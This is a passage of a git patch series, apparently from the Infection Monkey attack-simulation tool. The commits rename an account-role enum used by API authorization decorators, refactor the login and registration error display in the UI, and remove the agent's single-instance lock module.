island_event_queue @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def post(self): """ Reset the agent configuration to its default values diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index 5ad92fd8bc6..c1a91d98262 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -9,7 +9,7 @@ class SecurityReport(AbstractResource): urls = ["/api/report/security"] @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): ReportService.update_report() return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/version.py b/monkey/monkey_island/cc/resources/version.py index 27799efd548..1c05f6b62a6 100644 --- a/monkey/monkey_island/cc/resources/version.py +++ b/monkey/monkey_island/cc/resources/version.py @@ -16,7 +16,7 @@ def __init__(self, version: IslandVersion): self._version = version @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def get(self): return { "version_number": self._version.version_number, diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py index f7342c3fc08..83d079c19ef 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py @@ -26,7 +26,7 @@ def get(self): return make_response(configuration_dict, HTTPStatus.OK) @auth_token_required - @roles_required(AccountRoles.ISLAND.name) + @roles_required(AccountRoles.ISLAND_INTERFACE.name) def put(self): try: configuration_object = AgentConfigurationObject(**request.json) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 96a45c27272..8859c4600e3 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -72,7 +72,7 @@ def init_mock_security_app(): user_datastore = MongoEngineUserDatastore(db, User, Role) island_role = user_datastore.find_or_create_role( - name=AccountRoles.ISLAND.name, description=AccountRoles.ISLAND.value + name=AccountRoles.ISLAND_INTERFACE.name, description=AccountRoles.ISLAND_INTERFACE.value ) app.security = Security(app, user_datastore) ds = app.security.datastore From 5ffad3ac5f5e6d9d9dbac076655a77adfb326e38 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 12:49:55 +0100 Subject: [PATCH 0492/1338] UT: Remove Role description in tests --- monkey/tests/unit_tests/monkey_island/conftest.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 8859c4600e3..865e7b51956 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -71,9 +71,8 @@ def init_mock_security_app(): db.connect(db_name, mongo_client_class=mongomock.MongoClient) user_datastore = MongoEngineUserDatastore(db, User, Role) - island_role = user_datastore.find_or_create_role( - name=AccountRoles.ISLAND_INTERFACE.name, description=AccountRoles.ISLAND_INTERFACE.value - ) + + island_role = user_datastore.find_or_create_role(name=AccountRoles.ISLAND_INTERFACE.name) app.security = Security(app, user_datastore) ds = app.security.datastore with app.app_context(): From 5aea78bcc0edabf0cdfef7d4f6ccece217c2ba99 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 8 Mar 2023 13:34:26 +0100 Subject: [PATCH 0493/1338] Island, Common: Rename AccountRoles enum to singular AccountRole --- monkey/common/__init__.py | 2 +- monkey/common/{account_roles.py => account_role.py} | 2 +- monkey/monkey_island/cc/app.py | 8 ++++---- monkey/monkey_island/cc/resources/agent_logs.py | 4 ++-- .../cc/resources/agent_signals/terminate_all_agents.py | 4 ++-- monkey/monkey_island/cc/resources/agents.py | 4 ++-- .../monkey_island/cc/resources/clear_simulation_data.py | 4 ++-- .../cc/resources/exploitations/monkey_exploitation.py | 4 ++-- monkey/monkey_island/cc/resources/island_log.py | 4 ++-- monkey/monkey_island/cc/resources/island_mode.py | 6 +++--- monkey/monkey_island/cc/resources/local_run.py | 4 ++-- monkey/monkey_island/cc/resources/machines.py | 4 ++-- monkey/monkey_island/cc/resources/nodes.py | 4 ++-- monkey/monkey_island/cc/resources/ransomware_report.py | 4 ++-- monkey/monkey_island/cc/resources/remote_run.py | 6 +++--- .../cc/resources/report_generation_status.py | 4 ++-- .../cc/resources/reset_agent_configuration.py | 4 ++-- monkey/monkey_island/cc/resources/security_report.py | 4 ++-- monkey/monkey_island/cc/resources/version.py | 4 ++-- .../flask_resources/agent_configuration.py | 4 ++-- monkey/tests/unit_tests/monkey_island/conftest.py | 4 ++-- 21 files changed, 44 insertions(+), 44 deletions(-) rename monkey/common/{account_roles.py => account_role.py} (87%) diff --git a/monkey/common/__init__.py b/monkey/common/__init__.py index f2947978a88..1df3eac36b5 100644 --- a/monkey/common/__init__.py +++ b/monkey/common/__init__.py @@ -9,4 +9,4 @@ from .agent_signals import AgentSignals from .agent_heartbeat import AgentHeartbeat from .hard_coded_manifests import HARD_CODED_EXPLOITER_MANIFESTS -from .account_roles import AccountRoles +from .account_role import AccountRole diff --git a/monkey/common/account_roles.py b/monkey/common/account_role.py similarity index 87% rename from monkey/common/account_roles.py rename to monkey/common/account_role.py index 65802fda0e4..d69488161ec 100644 --- a/monkey/common/account_roles.py +++ b/monkey/common/account_role.py @@ -1,7 +1,7 @@ from enum import Enum, auto -class AccountRoles(Enum): +class AccountRole(Enum): """ An Enum representing roles. This Enum represents roles that an account can have. diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d1d3f6b8c73..4832e1b5cfd 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -9,7 +9,7 @@ from werkzeug.exceptions import NotFound from wtforms import StringField, ValidationError -from common import AccountRoles, DIContainer +from common import AccountRole, DIContainer from monkey_island.cc.flask_utils import FlaskDIWrapper from monkey_island.cc.models import Role, User from monkey_island.cc.resources import ( @@ -111,7 +111,7 @@ class CustomConfirmRegisterForm(ConfirmRegisterForm): def to_dict(self, only_user): registration_dict = super().to_dict(only_user) - registration_dict.update({"roles": [AccountRoles.ISLAND_INTERFACE.name]}) + registration_dict.update({"roles": [AccountRole.ISLAND_INTERFACE.name]}) return registration_dict app.security = Security( @@ -127,8 +127,8 @@ def to_dict(self, only_user): def _create_roles(user_datastore: UserDatastore): - user_datastore.find_or_create_role(name=AccountRoles.ISLAND_INTERFACE.name) - user_datastore.find_or_create_role(name=AccountRoles.AGENT.name) + user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) + user_datastore.find_or_create_role(name=AccountRole.AGENT.name) def init_app_config(app, mongo_url, data_dir: Path): diff --git a/monkey/monkey_island/cc/resources/agent_logs.py b/monkey/monkey_island/cc/resources/agent_logs.py index 67bac284d10..7d39b2af8f7 100644 --- a/monkey/monkey_island/cc/resources/agent_logs.py +++ b/monkey/monkey_island/cc/resources/agent_logs.py @@ -4,7 +4,7 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from common.types import AgentID from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentLogRepository, UnknownRecordError @@ -19,7 +19,7 @@ def __init__(self, agent_log_repository: IAgentLogRepository): self._agent_log_repository = agent_log_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self, agent_id: AgentID): try: log_contents = self._agent_log_repository.get_agent_log(agent_id) diff --git a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py index 40165f66cc7..518479001f7 100644 --- a/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py +++ b/monkey/monkey_island/cc/resources/agent_signals/terminate_all_agents.py @@ -5,7 +5,7 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import TerminateAllAgents as TerminateAllAgentsObject @@ -23,7 +23,7 @@ def __init__( self._island_event_queue = island_event_queue @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def post(self): try: terminate_all_agents = TerminateAllAgentsObject(**request.json) diff --git a/monkey/monkey_island/cc/resources/agents.py b/monkey/monkey_island/cc/resources/agents.py index 228bf78192a..ecae3be6a91 100644 --- a/monkey/monkey_island/cc/resources/agents.py +++ b/monkey/monkey_island/cc/resources/agents.py @@ -5,7 +5,7 @@ from flask import make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRoles, AgentRegistrationData +from common import AccountRole, AgentRegistrationData from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository @@ -21,7 +21,7 @@ def __init__(self, island_event_queue: IIslandEventQueue, agent_repository: IAge self._agent_repository = agent_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): return self._agent_repository.get_agents(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/clear_simulation_data.py b/monkey/monkey_island/cc/resources/clear_simulation_data.py index 9241ddfd8b0..020846afe77 100644 --- a/monkey/monkey_island/cc/resources/clear_simulation_data.py +++ b/monkey/monkey_island/cc/resources/clear_simulation_data.py @@ -3,7 +3,7 @@ from flask import make_response from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource @@ -15,7 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def post(self): """ Clear all data collected during the simulation diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py index 4646f46b150..204d00bf117 100644 --- a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, @@ -28,7 +28,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): monkey_exploitations = [ asdict(exploitation) diff --git a/monkey/monkey_island/cc/resources/island_log.py b/monkey/monkey_island/cc/resources/island_log.py index 2ab24b9fc92..b8e917e11e3 100644 --- a/monkey/monkey_island/cc/resources/island_log.py +++ b/monkey/monkey_island/cc/resources/island_log.py @@ -3,7 +3,7 @@ from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from common.utils.file_utils import get_text_file_contents from monkey_island.cc.flask_utils import AbstractResource @@ -17,7 +17,7 @@ def __init__(self, island_log_file_path: Path): self._island_log_file_path = island_log_file_path @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): try: return get_text_file_contents(self._island_log_file_path) diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 442971558c4..ee6a23be660 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -5,7 +5,7 @@ from flask import request from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import IslandMode as IslandModeEnum @@ -26,7 +26,7 @@ def __init__( self._simulation_repository = simulation_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def put(self): try: mode = IslandModeEnum(request.json) @@ -38,7 +38,7 @@ def put(self): return {}, HTTPStatus.UNPROCESSABLE_ENTITY @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): island_mode = self._simulation_repository.get_mode() return island_mode.value, HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index f90a5b6cdb6..2728b10bfc2 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -3,7 +3,7 @@ from flask import jsonify, make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService @@ -16,7 +16,7 @@ def __init__(self, local_monkey_run_service: LocalMonkeyRunService): # API Spec: This should be an RPC-style endpoint @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def post(self): body = json.loads(request.data) if body.get("action") == "run": diff --git a/monkey/monkey_island/cc/resources/machines.py b/monkey/monkey_island/cc/resources/machines.py index 0f9af5c2493..b521eb960ab 100644 --- a/monkey/monkey_island/cc/resources/machines.py +++ b/monkey/monkey_island/cc/resources/machines.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IMachineRepository @@ -14,6 +14,6 @@ def __init__(self, machine_repository: IMachineRepository): self._machine_repository = machine_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): return self._machine_repository.get_machines(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/nodes.py b/monkey/monkey_island/cc/resources/nodes.py index 413396b6974..69e36e74bfe 100644 --- a/monkey/monkey_island/cc/resources/nodes.py +++ b/monkey/monkey_island/cc/resources/nodes.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import INodeRepository @@ -14,6 +14,6 @@ def __init__(self, node_repository: INodeRepository): self._node_repository = node_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): return self._node_repository.get_nodes(), HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 6902cb672f4..bee25101737 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -1,7 +1,7 @@ from flask import jsonify from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import ( IAgentEventRepository, @@ -25,7 +25,7 @@ def __init__( self._agent_plugin_repository = agent_plugin_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): return jsonify( { diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index bac5ef998b7..f2adcd8a4be 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -5,7 +5,7 @@ from flask import jsonify, make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services import AWSService from monkey_island.cc.services.aws import AWSCommandResults @@ -30,7 +30,7 @@ def __init__(self, aws_service: AWSService): self._aws_service = aws_service @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): action = request.args.get("action") if action == "list_aws": @@ -52,7 +52,7 @@ def get(self): return {} @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def post(self): body = json.loads(request.data) if body.get("type") == "aws": diff --git a/monkey/monkey_island/cc/resources/report_generation_status.py b/monkey/monkey_island/cc/resources/report_generation_status.py index c5aff55f259..8abc2447673 100644 --- a/monkey/monkey_island/cc/resources/report_generation_status.py +++ b/monkey/monkey_island/cc/resources/report_generation_status.py @@ -1,7 +1,7 @@ from flask import jsonify from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.repositories import IAgentRepository from monkey_island.cc.services.infection_lifecycle import is_report_done @@ -14,7 +14,7 @@ def __init__(self, agent_repository: IAgentRepository): self._agent_repository = agent_repository @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): return self.report_generation_status() diff --git a/monkey/monkey_island/cc/resources/reset_agent_configuration.py b/monkey/monkey_island/cc/resources/reset_agent_configuration.py index ca274cf4345..f58006a9f18 100644 --- a/monkey/monkey_island/cc/resources/reset_agent_configuration.py +++ b/monkey/monkey_island/cc/resources/reset_agent_configuration.py @@ -3,7 +3,7 @@ from flask import make_response from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.flask_utils import AbstractResource @@ -15,7 +15,7 @@ def __init__(self, island_event_queue: IIslandEventQueue): self._island_event_queue = island_event_queue @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def post(self): """ Reset the agent configuration to its default values diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py index c1a91d98262..7f18595a881 100644 --- a/monkey/monkey_island/cc/resources/security_report.py +++ b/monkey/monkey_island/cc/resources/security_report.py @@ -1,6 +1,6 @@ from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.services.reporting.report import ReportService @@ -9,7 +9,7 @@ class SecurityReport(AbstractResource): urls = ["/api/report/security"] @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): ReportService.update_report() return ReportService.get_report() diff --git a/monkey/monkey_island/cc/resources/version.py b/monkey/monkey_island/cc/resources/version.py index 1c05f6b62a6..e15173a2436 100644 --- a/monkey/monkey_island/cc/resources/version.py +++ b/monkey/monkey_island/cc/resources/version.py @@ -2,7 +2,7 @@ from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from monkey_island.cc import Version as IslandVersion from monkey_island.cc.flask_utils import AbstractResource @@ -16,7 +16,7 @@ def __init__(self, version: IslandVersion): self._version = version @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def get(self): return { "version_number": self._version.version_number, diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py index 83d079c19ef..8d599074368 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/flask_resources/agent_configuration.py @@ -4,7 +4,7 @@ from flask import make_response, request from flask_security import auth_token_required, roles_required -from common import AccountRoles +from common import AccountRole from common.agent_configuration.agent_configuration import ( AgentConfiguration as AgentConfigurationObject, ) @@ -26,7 +26,7 @@ def get(self): return make_response(configuration_dict, HTTPStatus.OK) @auth_token_required - @roles_required(AccountRoles.ISLAND_INTERFACE.name) + @roles_required(AccountRole.ISLAND_INTERFACE.name) def put(self): try: configuration_object = AgentConfigurationObject(**request.json) diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 865e7b51956..55c063bfbdf 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -11,7 +11,7 @@ from flask_security import MongoEngineUserDatastore, Security import monkey_island -from common import AccountRoles +from common import AccountRole from common.utils.code_utils import insecure_generate_random_string from monkey_island.cc.flask_utils import AbstractResource from monkey_island.cc.models import Role, User @@ -72,7 +72,7 @@ def init_mock_security_app(): user_datastore = MongoEngineUserDatastore(db, User, Role) - island_role = user_datastore.find_or_create_role(name=AccountRoles.ISLAND_INTERFACE.name) + island_role = user_datastore.find_or_create_role(name=AccountRole.ISLAND_INTERFACE.name) app.security = Security(app, user_datastore) ds = app.security.datastore with app.app_context(): From be480f75cf084c77af15bc887da858156d01e0f1 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 8 Mar 2023 13:27:02 +0000 Subject: [PATCH 0494/1338] UI: Remove extra space in registration errors --- monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss index 3392fcee789..ac32f38912d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/AuthPage.scss @@ -15,6 +15,10 @@ margin-top: 20px; } +.auth-form .alert>ul { + margin-bottom: 0; +} + .monkey-detective { max-height: 500px; } From f8ab6a3ad1244a061825fd66b0dc32b7532ffa69 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 8 Mar 2023 14:04:18 +0000 Subject: [PATCH 0495/1338] UI: Move getErrors to AuthService --- .../cc/ui/src/components/pages/RegisterPage.js | 14 ++------------ .../cc/ui/src/services/AuthService.js | 13 ++++++++++++- 2 files changed, 14 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index 098cf67aa84..ec1860b59b2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -1,7 +1,7 @@ import React from 'react'; import {Row, Col, Container, Form, Button} from 'react-bootstrap'; -import AuthService from '../../services/AuthService'; +import AuthService, {getErrors} from '../../services/AuthService'; import monkeyDetective from '../../images/detective-monkey.svg'; import ParticleBackground from '../ui-components/ParticleBackground'; import LoadingIcon from '../ui-components/LoadingIcon'; @@ -37,16 +37,6 @@ class RegisterPageComponent extends React.Component { window.location.href = '/landing-page'; }; - getErrors = (errors) => { - const errorArray = []; - - for (let i=0; i{errors[i]}); - } - return
      {errorArray}
    ; - }; - constructor(props) { super(props); this.username = ''; @@ -92,7 +82,7 @@ class RegisterPageComponent extends React.Component { { this.state.failed ? -
    {this.getErrors(this.state.errors)}
    +
    {getErrors(this.state.errors)}
    : '' } diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index da3f4950a28..1f164e725a6 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -1,4 +1,15 @@ import _ from 'lodash'; +import React from 'react'; + +export function getErrors(errors) { + const errorArray = []; + + for (let i=0; i{errors[i]}); + } + return
      {errorArray}
    ; +} export default class AuthService { LOGIN_ENDPOINT = '/api/login?include_auth_token'; @@ -43,7 +54,7 @@ export default class AuthService { return {result: true}; } else { this._removeToken(); - return {result: false}; + return {result: false, errors: res['response']['errors']}; } }) }; From 0a7ebe4bfa6054b7dde801164c56dcd1610fe6be Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 8 Mar 2023 14:05:05 +0000 Subject: [PATCH 0496/1338] UI: Display login errors --- .../monkey_island/cc/ui/src/components/pages/LoginPage.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js index 0a281157f9e..b35abb6561c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js @@ -1,7 +1,7 @@ import React from 'react'; import {Button, Col, Container, Form, Row} from 'react-bootstrap'; -import AuthService from '../../services/AuthService'; +import AuthService, {getErrors} from '../../services/AuthService'; import monkeyGeneral from '../../images/militant-monkey.svg'; import ParticleBackground from '../ui-components/ParticleBackground'; @@ -12,7 +12,7 @@ class LoginPageComponent extends React.Component { if (res['result']) { this.redirectToHome(); } else { - this.setState({failed: true}); + this.setState({failed: true, errors: res['errors']}); } }); }; @@ -73,7 +73,7 @@ class LoginPageComponent extends React.Component { { this.state.failed ? -
    Login failed. Bad credentials.
    +
    {getErrors(this.state.errors)}
    : '' } From c17781e5614df3a6a068981bcf4280d9100fd897 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 7 Mar 2023 14:22:36 +0000 Subject: [PATCH 0497/1338] Agent: Remove SystemSingleton The island now determines when duplicate agents are running, and sets the terminate signal when an agent should close. The agent checks whether or not it should stop on startup, as well as periodically. --- monkey/infection_monkey/monkey.py | 15 ---- monkey/infection_monkey/system_singleton.py | 97 --------------------- 2 files changed, 112 deletions(-) delete mode 100644 monkey/infection_monkey/system_singleton.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7d64c3808fe..50f75b9fd6c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -83,7 +83,6 @@ PluginSourceExtractor, ) from infection_monkey.puppet.puppet import Puppet -from infection_monkey.system_singleton import SystemSingleton from infection_monkey.utils import agent_process, environment from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows from infection_monkey.utils.ids import get_agent_id, get_machine_id @@ -107,12 +106,9 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path logger.info(f"Agent ID: {self._agent_id}") logger.info(f"Process ID: {os.getpid()}") - # Spawn the manager before the acquiring the singleton in case the file handle gets copied - # over to the manager process context = multiprocessing.get_context("spawn") self._manager = context.Manager() - self._singleton = SystemSingleton() self._opts = self._get_arguments(args) self._ipc_logger_queue = ipc_logger_queue @@ -222,10 +218,6 @@ def start(self): self._agent_event_forwarder.start() self._plugin_event_forwarder.start() - if self._is_another_monkey_running(): - logger.info("Another instance of the monkey is already running") - return - logger.info("Agent is starting...") should_stop = self._control_channel.should_agent_stop() @@ -435,9 +427,6 @@ def _subscribe_events(self): PropagationEvent, notify_relay_on_propagation(self._relay) ) - def _is_another_monkey_running(self): - return not self._singleton.try_lock() - def cleanup(self): logger.info("Agent cleanup started") deleted = None @@ -474,10 +463,6 @@ def cleanup(self): self._agent_event_forwarder.stop() self._delete_plugin_dir() self._manager.shutdown() - try: - self._singleton.unlock() - except AssertionError as err: - logger.warning(f"Failed to release the singleton: {err}") logger.info("Agent is shutting down") diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py deleted file mode 100644 index c08ded4675d..00000000000 --- a/monkey/infection_monkey/system_singleton.py +++ /dev/null @@ -1,97 +0,0 @@ -import ctypes -import logging -import sys -from abc import ABCMeta, abstractmethod - -logger = logging.getLogger(__name__) - - -SINGLETON_MUTEX_NAME = "{2384ec59-0df8-4ab9-918c-843740924a28}" - - -class _SystemSingleton(object, metaclass=ABCMeta): - @abstractmethod - def try_lock(self): - raise NotImplementedError() - - @abstractmethod - def unlock(self): - raise NotImplementedError() - - -class WindowsSystemSingleton(_SystemSingleton): - def __init__(self): - self._mutex_name = r"Global\%s" % (SINGLETON_MUTEX_NAME,) - self._mutex_handle = None - - def try_lock(self): - assert self._mutex_handle is None, "Singleton already locked" - - handle = ctypes.windll.kernel32.CreateMutexA( - None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode()) - ) - last_error = ctypes.windll.kernel32.GetLastError() - - if not handle: - logger.error( - "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error - ) - return False - if winerror.ERROR_ALREADY_EXISTS == last_error: - logger.debug( - "Cannot acquire system singleton %r, mutex already exist", self._mutex_name - ) - return False - - self._mutex_handle = handle - logger.debug("Global singleton mutex %r acquired", self._mutex_name) - - return True - - def unlock(self): - assert self._mutex_handle is not None, "Singleton not locked" - ctypes.windll.kernel32.CloseHandle(self._mutex_handle) - self._mutex_handle = None - - -class LinuxSystemSingleton(_SystemSingleton): - def __init__(self): - self._unix_sock_name = str(SINGLETON_MUTEX_NAME) - self._sock_handle = None - - def try_lock(self): - assert self._sock_handle is None, "Singleton already locked" - - sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) - - try: - sock.bind("\0" + self._unix_sock_name) - except socket.error as e: - logger.error( - "Cannot acquire system singleton %r, error code %d, error: %s", - self._unix_sock_name, - e.args[0], - e.args[1], - ) - return False - - 